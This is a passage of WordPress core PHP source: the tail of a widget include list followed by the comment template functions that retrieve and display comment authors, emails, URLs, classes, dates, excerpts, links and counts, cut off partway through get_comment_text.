require_once ABSPATH . WPINC . '/widgets/class-wp-widget-custom-html.php';

/** WP_Widget_Block class */
require_once ABSPATH . WPINC . '/widgets/class-wp-widget-block.php';
<?php
/**
 * Comment template functions
 *
 * These functions are meant to live inside of the WordPress loop.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Retrieves the author of the current comment.
 *
 * If the comment has an empty comment_author field, then 'Anonymous' person is
 * assumed.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to retrieve the author.
 *                                   Default current comment.
 * @return string The comment author
 */
function get_comment_author( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_id = ! empty( $comment->comment_ID ) ? $comment->comment_ID : $comment_id;

	if ( empty( $comment->comment_author ) ) {
		$user = ! empty( $comment->user_id ) ? get_userdata( $comment->user_id ) : false;
		if ( $user ) {
			$comment_author = $user->display_name;
		} else {
			$comment_author = __( 'Anonymous' );
		}
	} else {
		$comment_author = $comment->comment_author;
	}

	/**
	 * Filters the returned comment author name.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_author The comment author's username.
	 * @param string     $comment_id     The comment ID as a numeric string.
	 * @param WP_Comment $comment        The comment object.
	 */
	return apply_filters( 'get_comment_author', $comment_author, $comment_id, $comment );
}

/**
 * Displays the author of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author.
 *                                   Default current comment.
 */
function comment_author( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_author = get_comment_author( $comment );

	/**
	 * Filters the comment author's name for display.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment_id` parameter was added.
	 *
	 * @param string $comment_author The comment author's username.
	 * @param string $comment_id     The comment ID as a numeric string.
	 */
	echo apply_filters( 'comment_author', $comment_author, $comment->comment_ID );
}

/**
 * Retrieves the email of the author of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to get the author's email.
 *                                   Default current comment.
 * @return string The current comment author's email
 */
function get_comment_author_email( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	/**
	 * Filters the comment author's returned email address.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_author_email The comment author's email address.
	 * @param string     $comment_id           The comment ID as a numeric string.
	 * @param WP_Comment $comment              The comment object.
	 */
	return apply_filters( 'get_comment_author_email', $comment->comment_author_email, $comment->comment_ID, $comment );
}

/**
 * Displays the email of the author of the current global $comment.
 *
 * Care should be taken to protect the email address and assure that email
 * harvesters do not capture your commenter's email address. Most assume that
 * their email address will not appear in raw form on the site. Doing so will
 * enable anyone, including those that people don't want to get the email
 * address and use it for their own means good and bad.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author's email.
 *                                   Default current comment.
 */
function comment_author_email( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_author_email = get_comment_author_email( $comment );

	/**
	 * Filters the comment author's email for display.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment_id` parameter was added.
	 *
	 * @param string $comment_author_email The comment author's email address.
	 * @param string $comment_id           The comment ID as a numeric string.
	 */
	echo apply_filters( 'author_email', $comment_author_email, $comment->comment_ID );
}

/**
 * Displays the HTML email link to the author of the current comment.
 *
 * Care should be taken to protect the email address and assure that email
 * harvesters do not capture your commenter's email address. Most assume that
 * their email address will not appear in raw form on the site. Doing so will
 * enable anyone, including those that people don't want to get the email
 * address and use it for their own means good and bad.
 *
 * @since 0.71
 * @since 4.6.0 Added the `$comment` parameter.
 *
 * @param string         $link_text Optional. Text to display instead of the comment author's email address.
 *                                  Default empty.
 * @param string         $before    Optional. Text or HTML to display before the email link. Default empty.
 * @param string         $after     Optional. Text or HTML to display after the email link. Default empty.
 * @param int|WP_Comment $comment   Optional. Comment ID or WP_Comment object. Default is the current comment.
 */
function comment_author_email_link( $link_text = '', $before = '', $after = '', $comment = null ) {
	$link = get_comment_author_email_link( $link_text, $before, $after, $comment );
	if ( $link ) {
		echo $link;
	}
}

/**
 * Returns the HTML email link to the author of the current comment.
 *
 * Care should be taken to protect the email address and assure that email
 * harvesters do not capture your commenter's email address. Most assume that
 * their email address will not appear in raw form on the site. Doing so will
 * enable anyone, including those that people don't want to get the email
 * address and use it for their own means good and bad.
 *
 * @since 2.7.0
 * @since 4.6.0 Added the `$comment` parameter.
 *
 * @param string         $link_text Optional. Text to display instead of the comment author's email address.
 *                                  Default empty.
 * @param string         $before    Optional. Text or HTML to display before the email link. Default empty.
 * @param string         $after     Optional. Text or HTML to display after the email link. Default empty.
 * @param int|WP_Comment $comment   Optional. Comment ID or WP_Comment object. Default is the current comment.
 * @return string HTML markup for the comment author email link. By default, the email address is obfuscated
 *                via the {@see 'comment_email'} filter with antispambot().
 */
function get_comment_author_email_link( $link_text = '', $before = '', $after = '', $comment = null ) {
	$comment = get_comment( $comment );

	/**
	 * Filters the comment author's email for display.
	 *
	 * Care should be taken to protect the email address and assure that email
	 * harvesters do not capture your commenter's email address.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment` parameter was added.
	 *
	 * @param string     $comment_author_email The comment author's email address.
	 * @param WP_Comment $comment              The comment object.
	 */
	$comment_author_email = apply_filters( 'comment_email', $comment->comment_author_email, $comment );

	if ( ( ! empty( $comment_author_email ) ) && ( '@' !== $comment_author_email ) ) {
		$display = ( '' !== $link_text ) ? $link_text : $comment_author_email;

		$comment_author_email_link = $before . sprintf(
			'<a href="%1$s">%2$s</a>',
			esc_url( 'mailto:' . $comment_author_email ),
			esc_html( $display )
		) . $after;

		return $comment_author_email_link;
	} else {
		return '';
	}
}

/**
 * Retrieves the HTML link to the URL of the author of the current comment.
 *
 * Both get_comment_author_url() and get_comment_author() rely on get_comment(),
 * which falls back to the global comment variable if the $comment_id argument is empty.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to get the author's link.
 *                                   Default current comment.
 * @return string The comment author name or HTML link for author's URL.
 */
function get_comment_author_link( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_id = ! empty( $comment->comment_ID ) ? $comment->comment_ID : (string) $comment_id;

	$comment_author_url = get_comment_author_url( $comment );
	$comment_author     = get_comment_author( $comment );

	if ( empty( $comment_author_url ) || 'http://' === $comment_author_url ) {
		$comment_author_link = $comment_author;
	} else {
		$rel_parts = array( 'ugc' );
		if ( ! wp_is_internal_link( $comment_author_url ) ) {
			$rel_parts = array_merge(
				$rel_parts,
				array( 'external', 'nofollow' )
			);
		}

		/**
		 * Filters the rel attributes of the comment author's link.
		 *
		 * @since 6.2.0
		 *
		 * @param string[]   $rel_parts An array of strings representing the rel tags
		 *                              which will be joined into the anchor's rel attribute.
		 * @param WP_Comment $comment   The comment object.
		 */
		$rel_parts = apply_filters( 'comment_author_link_rel', $rel_parts, $comment );

		$rel = implode( ' ', $rel_parts );
		$rel = esc_attr( $rel );
		// Empty space before 'rel' is necessary for later sprintf().
		$rel = ! empty( $rel ) ? sprintf( ' rel="%s"', $rel ) : '';

		$comment_author_link = sprintf(
			'<a href="%1$s" class="url"%2$s>%3$s</a>',
			$comment_author_url,
			$rel,
			$comment_author
		);
	}

	/**
	 * Filters the comment author's link for display.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_author` and `$comment_id` parameters were added.
	 *
	 * @param string $comment_author_link The HTML-formatted comment author link.
	 *                                    Empty for an invalid URL.
	 * @param string $comment_author      The comment author's username.
	 * @param string $comment_id          The comment ID as a numeric string.
	 */
	return apply_filters( 'get_comment_author_link', $comment_author_link, $comment_author, $comment_id );
}

/**
 * Displays the HTML link to the URL of the author of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author's link.
 *                                   Default current comment.
 */
function comment_author_link( $comment_id = 0 ) {
	echo get_comment_author_link( $comment_id );
}

/**
 * Retrieves the IP address of the author of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to get the author's IP address.
 *                                   Default current comment.
 * @return string Comment author's IP address, or an empty string if it's not available.
 */
function get_comment_author_IP( $comment_id = 0 ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$comment = get_comment( $comment_id );

	/**
	 * Filters the comment author's returned IP address.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_author_ip The comment author's IP address, or an empty string if it's not available.
	 * @param string     $comment_id        The comment ID as a numeric string.
	 * @param WP_Comment $comment           The comment object.
	 */
	return apply_filters( 'get_comment_author_IP', $comment->comment_author_IP, $comment->comment_ID, $comment );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
}

/**
 * Displays the IP address of the author of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author's IP address.
 *                                   Default current comment.
 */
function comment_author_IP( $comment_id = 0 ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	echo esc_html( get_comment_author_IP( $comment_id ) );
}

/**
 * Retrieves the URL of the author of the current comment, not linked.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to get the author's URL.
 *                                   Default current comment.
 * @return string Comment author URL, if provided, an empty string otherwise.
 */
function get_comment_author_url( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_author_url = '';
	$comment_id         = 0;

	if ( ! empty( $comment ) ) {
		$comment_author_url = ( 'http://' === $comment->comment_author_url ) ? '' : $comment->comment_author_url;
		$comment_author_url = esc_url( $comment_author_url, array( 'http', 'https' ) );

		$comment_id = $comment->comment_ID;
	}

	/**
	 * Filters the comment author's URL.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string          $comment_author_url The comment author's URL, or an empty string.
	 * @param string|int      $comment_id         The comment ID as a numeric string, or 0 if not found.
	 * @param WP_Comment|null $comment            The comment object, or null if not found.
	 */
	return apply_filters( 'get_comment_author_url', $comment_author_url, $comment_id, $comment );
}

/**
 * Displays the URL of the author of the current comment, not linked.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or the ID of the comment for which to print the author's URL.
 *                                   Default current comment.
 */
function comment_author_url( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_author_url = get_comment_author_url( $comment );

	/**
	 * Filters the comment author's URL for display.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment_id` parameter was added.
	 *
	 * @param string $comment_author_url The comment author's URL.
	 * @param string $comment_id         The comment ID as a numeric string.
	 */
	echo apply_filters( 'comment_url', $comment_author_url, $comment->comment_ID );
}

/**
 * Retrieves the HTML link of the URL of the author of the current comment.
 *
 * $link_text parameter is only used if the URL does not exist for the comment
 * author. If the URL does exist then the URL will be used and the $link_text
 * will be ignored.
 *
 * Encapsulate the HTML link between the $before and $after. So it will appear
 * in the order of $before, link, and finally $after.
 *
 * @since 1.5.0
 * @since 4.6.0 Added the `$comment` parameter.
 *
 * @param string         $link_text Optional. The text to display instead of the comment
 *                                  author's email address. Default empty.
 * @param string         $before    Optional. The text or HTML to display before the email link.
 *                                  Default empty.
 * @param string         $after     Optional. The text or HTML to display after the email link.
 *                                  Default empty.
 * @param int|WP_Comment $comment   Optional. Comment ID or WP_Comment object.
 *                                  Default is the current comment.
 * @return string The HTML link between the $before and $after parameters.
 */
function get_comment_author_url_link( $link_text = '', $before = '', $after = '', $comment = 0 ) {
	$comment_author_url = get_comment_author_url( $comment );

	$display = ( '' !== $link_text ) ? $link_text : $comment_author_url;
	$display = str_replace( 'http://www.', '', $display );
	$display = str_replace( 'http://', '', $display );

	if ( str_ends_with( $display, '/' ) ) {
		$display = substr( $display, 0, -1 );
	}

	$comment_author_url_link = $before . sprintf(
		'<a href="%1$s" rel="external">%2$s</a>',
		$comment_author_url,
		$display
	) . $after;

	/**
	 * Filters the comment author's returned URL link.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_author_url_link The HTML-formatted comment author URL link.
	 */
	return apply_filters( 'get_comment_author_url_link', $comment_author_url_link );
}

/**
 * Displays the HTML link of the URL of the author of the current comment.
 *
 * @since 0.71
 * @since 4.6.0 Added the `$comment` parameter.
 *
 * @param string         $link_text Optional. Text to display instead of the comment author's
 *                                  email address. Default empty.
 * @param string         $before    Optional. Text or HTML to display before the email link.
 *                                  Default empty.
 * @param string         $after     Optional. Text or HTML to display after the email link.
 *                                  Default empty.
 * @param int|WP_Comment $comment   Optional. Comment ID or WP_Comment object.
 *                                  Default is the current comment.
 */
function comment_author_url_link( $link_text = '', $before = '', $after = '', $comment = 0 ) {
	echo get_comment_author_url_link( $link_text, $before, $after, $comment );
}

/**
 * Generates semantic classes for each comment element.
 *
 * @since 2.7.0
 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object.
 *
 * @param string|string[] $css_class Optional. One or more classes to add to the class list.
 *                                   Default empty.
 * @param int|WP_Comment  $comment   Optional. Comment ID or WP_Comment object. Default current comment.
 * @param int|WP_Post     $post      Optional. Post ID or WP_Post object. Default current post.
 * @param bool            $display   Optional. Whether to print or return the output.
 *                                   Default true.
 * @return void|string Void if `$display` argument is true, comment classes if `$display` is false.
 */
function comment_class( $css_class = '', $comment = null, $post = null, $display = true ) {
	// Separates classes with a single space, collates classes for comment DIV.
	$css_class = 'class="' . implode( ' ', get_comment_class( $css_class, $comment, $post ) ) . '"';

	if ( $display ) {
		echo $css_class;
	} else {
		return $css_class;
	}
}

/**
 * Returns the classes for the comment div as an array.
 *
 * @since 2.7.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @global int $comment_alt
 * @global int $comment_depth
 * @global int $comment_thread_alt
 *
 * @param string|string[] $css_class  Optional. One or more classes to add to the class list.
 *                                    Default empty.
 * @param int|WP_Comment  $comment_id Optional. Comment ID or WP_Comment object. Default current comment.
 * @param int|WP_Post     $post       Optional. Post ID or WP_Post object. Default current post.
 * @return string[] An array of classes.
 */
function get_comment_class( $css_class = '', $comment_id = null, $post = null ) {
	global $comment_alt, $comment_depth, $comment_thread_alt;

	$classes = array();

	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return $classes;
	}

	// Get the comment type (comment, trackback).
	$classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type;

	// Add classes for comment authors that are registered users.
	$user = $comment->user_id ? get_userdata( $comment->user_id ) : false;
	if ( $user ) {
		$classes[] = 'byuser';
		$classes[] = 'comment-author-' . sanitize_html_class( $user->user_nicename, $comment->user_id );
		// For comment authors who are the author of the post.
		$_post = get_post( $post );
		if ( $_post ) {
			if ( $comment->user_id === $_post->post_author ) {
				$classes[] = 'bypostauthor';
			}
		}
	}

	if ( empty( $comment_alt ) ) {
		$comment_alt = 0;
	}
	if ( empty( $comment_depth ) ) {
		$comment_depth = 1;
	}
	if ( empty( $comment_thread_alt ) ) {
		$comment_thread_alt = 0;
	}

	if ( $comment_alt % 2 ) {
		$classes[] = 'odd';
		$classes[] = 'alt';
	} else {
		$classes[] = 'even';
	}

	++$comment_alt;

	// Alt for top-level comments.
	if ( 1 == $comment_depth ) {
		if ( $comment_thread_alt % 2 ) {
			$classes[] = 'thread-odd';
			$classes[] = 'thread-alt';
		} else {
			$classes[] = 'thread-even';
		}
		++$comment_thread_alt;
	}

	$classes[] = "depth-$comment_depth";

	if ( ! empty( $css_class ) ) {
		if ( ! is_array( $css_class ) ) {
			$css_class = preg_split( '#\s+#', $css_class );
		}
		$classes = array_merge( $classes, $css_class );
	}

	$classes = array_map( 'esc_attr', $classes );

	/**
	 * Filters the returned CSS classes for the current comment.
	 *
	 * @since 2.7.0
	 *
	 * @param string[]    $classes    An array of comment classes.
	 * @param string[]    $css_class  An array of additional classes added to the list.
	 * @param string      $comment_id The comment ID as a numeric string.
	 * @param WP_Comment  $comment    The comment object.
	 * @param int|WP_Post $post       The post ID or WP_Post object.
	 */
	return apply_filters( 'comment_class', $classes, $css_class, $comment->comment_ID, $comment, $post );
}

/**
 * Retrieves the comment date of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param string         $format     Optional. PHP date format. Defaults to the 'date_format' option.
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the date.
 *                                   Default current comment.
 * @return string The comment's date.
 */
function get_comment_date( $format = '', $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$_format = ! empty( $format ) ? $format : get_option( 'date_format' );

	$comment_date = mysql2date( $_format, $comment->comment_date );

	/**
	 * Filters the returned comment date.
	 *
	 * @since 1.5.0
	 *
	 * @param string|int $comment_date Formatted date string or Unix timestamp.
	 * @param string     $format       PHP date format.
	 * @param WP_Comment $comment      The comment object.
	 */
	return apply_filters( 'get_comment_date', $comment_date, $format, $comment );
}

/**
 * Displays the comment date of the current comment.
 *
 * @since 0.71
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param string         $format     Optional. PHP date format. Defaults to the 'date_format' option.
 * @param int|WP_Comment $comment_id WP_Comment or ID of the comment for which to print the date.
 *                                   Default current comment.
 */
function comment_date( $format = '', $comment_id = 0 ) {
	echo get_comment_date( $format, $comment_id );
}

/**
 * Retrieves the excerpt of the given comment.
 *
 * Returns a maximum of 20 words with an ellipsis appended if necessary.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the excerpt.
 *                                   Default current comment.
 * @return string The possibly truncated comment excerpt.
 */
function get_comment_excerpt( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	if ( ! post_password_required( $comment->comment_post_ID ) ) {
		$comment_text = strip_tags( str_replace( array( "\n", "\r" ), ' ', $comment->comment_content ) );
	} else {
		$comment_text = __( 'Password protected' );
	}

	/* translators: Maximum number of words used in a comment excerpt. */
	$comment_excerpt_length = (int) _x( '20', 'comment_excerpt_length' );

	/**
	 * Filters the maximum number of words used in the comment excerpt.
	 *
	 * @since 4.4.0
	 *
	 * @param int $comment_excerpt_length The amount of words you want to display in the comment excerpt.
	 */
	$comment_excerpt_length = apply_filters( 'comment_excerpt_length', $comment_excerpt_length );

	$comment_excerpt = wp_trim_words( $comment_text, $comment_excerpt_length, '&hellip;' );

	/**
	 * Filters the retrieved comment excerpt.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment_id` and `$comment` parameters were added.
	 *
	 * @param string     $comment_excerpt The comment excerpt text.
	 * @param string     $comment_id      The comment ID as a numeric string.
	 * @param WP_Comment $comment         The comment object.
	 */
	return apply_filters( 'get_comment_excerpt', $comment_excerpt, $comment->comment_ID, $comment );
}

/**
 * Displays the excerpt of the current comment.
 *
 * @since 1.2.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to print the excerpt.
 *                                   Default current comment.
 */
function comment_excerpt( $comment_id = 0 ) {
	$comment = get_comment( $comment_id );

	$comment_excerpt = get_comment_excerpt( $comment );

	/**
	 * Filters the comment excerpt for display.
	 *
	 * @since 1.2.0
	 * @since 4.1.0 The `$comment_id` parameter was added.
	 *
	 * @param string $comment_excerpt The comment excerpt text.
	 * @param string $comment_id      The comment ID as a numeric string.
	 */
	echo apply_filters( 'comment_excerpt', $comment_excerpt, $comment->comment_ID );
}

/**
 * Retrieves the comment ID of the current comment.
 *
 * @since 1.5.0
 *
 * @return string The comment ID as a numeric string.
 */
function get_comment_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$comment = get_comment();

	$comment_id = ! empty( $comment->comment_ID ) ? $comment->comment_ID : '0';

	/**
	 * Filters the returned comment ID.
	 *
	 * @since 1.5.0
	 * @since 4.1.0 The `$comment` parameter was added.
	 *
	 * @param string     $comment_id The current comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment object.
	 */
	return apply_filters( 'get_comment_ID', $comment_id, $comment );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
}

/**
 * Displays the comment ID of the current comment.
 *
 * @since 0.71
 */
function comment_ID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	echo get_comment_ID();
}

/**
 * Retrieves the link to a given comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. Added `$cpage` argument.
 *
 * @see get_page_of_comment()
 *
 * @global WP_Rewrite $wp_rewrite      WordPress rewrite component.
 * @global bool       $in_comment_loop
 *
 * @param WP_Comment|int|null $comment Optional. Comment to retrieve. Default current comment.
 * @param array               $args {
 *     An array of optional arguments to override the defaults.
 *
 *     @type string     $type      Passed to get_page_of_comment().
 *     @type int        $page      Current page of comments, for calculating comment pagination.
 *     @type int        $per_page  Per-page value for comment pagination.
 *     @type int        $max_depth Passed to get_page_of_comment().
 *     @type int|string $cpage     Value to use for the comment's "comment-page" or "cpage" value.
 *                                 If provided, this value overrides any value calculated from `$page`
 *                                 and `$per_page`.
 * }
 * @return string The permalink to the given comment.
 */
function get_comment_link( $comment = null, $args = array() ) {
	global $wp_rewrite, $in_comment_loop;

	$comment = get_comment( $comment );

	// Back-compat.
	if ( ! is_array( $args ) ) {
		$args = array( 'page' => $args );
	}

	$defaults = array(
		'type'      => 'all',
		'page'      => '',
		'per_page'  => '',
		'max_depth' => '',
		'cpage'     => null,
	);

	$args = wp_parse_args( $args, $defaults );

	$comment_link = get_permalink( $comment->comment_post_ID );

	// The 'cpage' param takes precedence.
	if ( ! is_null( $args['cpage'] ) ) {
		$cpage = $args['cpage'];

		// No 'cpage' is provided, so we calculate one.
	} else {
		if ( '' === $args['per_page'] && get_option( 'page_comments' ) ) {
			$args['per_page'] = get_option( 'comments_per_page' );
		}

		if ( empty( $args['per_page'] ) ) {
			$args['per_page'] = 0;
			$args['page']     = 0;
		}

		$cpage = $args['page'];

		if ( '' == $cpage ) {
			if ( ! empty( $in_comment_loop ) ) {
				$cpage = get_query_var( 'cpage' );
			} else {
				// Requires a database hit, so we only do it when we can't figure out from context.
				$cpage = get_page_of_comment( $comment->comment_ID, $args );
			}
		}

		/*
		 * If the default page displays the oldest comments, the permalinks for comments on the default page
		 * do not need a 'cpage' query var.
		 */
		if ( 'oldest' === get_option( 'default_comments_page' ) && 1 === $cpage ) {
			$cpage = '';
		}
	}

	if ( $cpage && get_option( 'page_comments' ) ) {
		if ( $wp_rewrite->using_permalinks() ) {
			if ( $cpage ) {
				$comment_link = trailingslashit( $comment_link ) . $wp_rewrite->comments_pagination_base . '-' . $cpage;
			}

			$comment_link = user_trailingslashit( $comment_link, 'comment' );
		} elseif ( $cpage ) {
			$comment_link = add_query_arg( 'cpage', $cpage, $comment_link );
		}
	}

	if ( $wp_rewrite->using_permalinks() ) {
		$comment_link = user_trailingslashit( $comment_link, 'comment' );
	}

	$comment_link = $comment_link . '#comment-' . $comment->comment_ID;

	/**
	 * Filters the returned single comment permalink.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 Added the `$cpage` parameter.
	 *
	 * @see get_page_of_comment()
	 *
	 * @param string     $comment_link The comment permalink with '#comment-$id' appended.
	 * @param WP_Comment $comment      The current comment object.
	 * @param array      $args         An array of arguments to override the defaults.
	 * @param int        $cpage        The calculated 'cpage' value.
	 */
	return apply_filters( 'get_comment_link', $comment_link, $comment, $args, $cpage );
}

/**
 * Retrieves the link to the current post comments.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string The link to the comments.
 */
function get_comments_link( $post = 0 ) {
	$hash          = get_comments_number( $post ) ? '#comments' : '#respond';
	$comments_link = get_permalink( $post ) . $hash;

	/**
	 * Filters the returned post comments permalink.
	 *
	 * @since 3.6.0
	 *
	 * @param string      $comments_link Post comments permalink with '#comments' appended.
	 * @param int|WP_Post $post          Post ID or WP_Post object.
	 */
	return apply_filters( 'get_comments_link', $comments_link, $post );
}

/**
 * Displays the link to the current post comments.
 *
 * @since 0.71
 *
 * @param string $deprecated   Not Used.
 * @param string $deprecated_2 Not Used.
 */
function comments_link( $deprecated = '', $deprecated_2 = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '0.72' );
	}
	if ( ! empty( $deprecated_2 ) ) {
		_deprecated_argument( __FUNCTION__, '1.3.0' );
	}
	echo esc_url( get_comments_link() );
}

/**
 * Retrieves the amount of comments a post has.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is the global `$post`.
 * @return string|int If the post exists, a numeric string representing the number of comments
 *                    the post has, otherwise 0.
 */
function get_comments_number( $post = 0 ) {
	$post = get_post( $post );

	$comments_number = $post ? $post->comment_count : 0;
	$post_id         = $post ? $post->ID : 0;

	/**
	 * Filters the returned comment count for a post.
	 *
	 * @since 1.5.0
	 *
	 * @param string|int $comments_number A string representing the number of comments a post has, otherwise 0.
	 * @param int        $post_id Post ID.
	 */
	return apply_filters( 'get_comments_number', $comments_number, $post_id );
}

/**
 * Displays the language string for the number of comments the current post has.
 *
 * @since 0.71
 * @since 5.4.0 The `$deprecated` parameter was changed to `$post`.
 *
 * @param string|false $zero Optional. Text for no comments. Default false.
 * @param string|false $one  Optional. Text for one comment. Default false.
 * @param string|false $more Optional. Text for more than one comment. Default false.
 * @param int|WP_Post  $post Optional. Post ID or WP_Post object. Default is the global `$post`.
 */
function comments_number( $zero = false, $one = false, $more = false, $post = 0 ) {
	echo get_comments_number_text( $zero, $one, $more, $post );
}

/**
 * Displays the language string for the number of comments the current post has.
 *
 * @since 4.0.0
 * @since 5.4.0 Added the `$post` parameter to allow using the function outside of the loop.
 *
 * @param string      $zero Optional. Text for no comments. Default false.
 * @param string      $one  Optional. Text for one comment. Default false.
 * @param string      $more Optional. Text for more than one comment. Default false.
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is the global `$post`.
 * @return string Language string for the number of comments a post has.
 */
function get_comments_number_text( $zero = false, $one = false, $more = false, $post = 0 ) {
	$comments_number = get_comments_number( $post );

	if ( $comments_number > 1 ) {
		if ( false === $more ) {
			$comments_number_text = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s Comment', '%s Comments', $comments_number ),
				number_format_i18n( $comments_number )
			);
		} else {
			// % Comments
			/*
			 * translators: If comment number in your language requires declension,
			 * translate this to 'on'. Do not translate into your own language.
			 */
			if ( 'on' === _x( 'off', 'Comment number declension: on or off' ) ) {
				$text = preg_replace( '#<span class="screen-reader-text">.+?</span>#', '', $more );
				$text = preg_replace( '/&.+?;/', '', $text ); // Remove HTML entities.
				$text = trim( strip_tags( $text ), '% ' );

				// Replace '% Comments' with a proper plural form.
				if ( $text && ! preg_match( '/[0-9]+/', $text ) && str_contains( $more, '%' ) ) {
					/* translators: %s: Number of comments. */
					$new_text = _n( '%s Comment', '%s Comments', $comments_number );
					$new_text = trim( sprintf( $new_text, '' ) );

					$more = str_replace( $text, $new_text, $more );
					if ( ! str_contains( $more, '%' ) ) {
						$more = '% ' . $more;
					}
				}
			}

			$comments_number_text = str_replace( '%', number_format_i18n( $comments_number ), $more );
		}
	} elseif ( 0 == $comments_number ) {
		$comments_number_text = ( false === $zero ) ? __( 'No Comments' ) : $zero;
	} else { // Must be one.
		$comments_number_text = ( false === $one ) ? __( '1 Comment' ) : $one;
	}

	/**
	 * Filters the comments count for display.
	 *
	 * @since 1.5.0
	 *
	 * @see _n()
	 *
	 * @param string $comments_number_text A translatable string formatted based on whether the count
	 *                                     is equal to 0, 1, or 1+.
	 * @param int    $comments_number      The number of post comments.
	 */
	return apply_filters( 'comments_number', $comments_number_text, $comments_number );
}

/**
 * Retrieves the text of the current comment.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object.
 * @since 5.4.0 Added 'In reply to %s.' prefix to child comments in comments feed.
 *
 * @see Walker_Comment::comment()
 *
 * @param int|WP_Comment $comment_id Optional. WP_Comment or ID of the comment for which to get the text.
 *                                   Default current comment.
 * @param array          $args       Optional. An array of arguments. Default empty array.
 * @return string The comment content.
 */
function get_comment_text( $comment_id = 0, $args = array() ) {
	$comment = get_comment( $comment_id );

	$comment_text = $comment->comment_content;

	if ( is_comment_feed() && $comment->comment_parent ) {
		$parent = get_comment( $comment->comment_parent );
		if ( $parent ) {
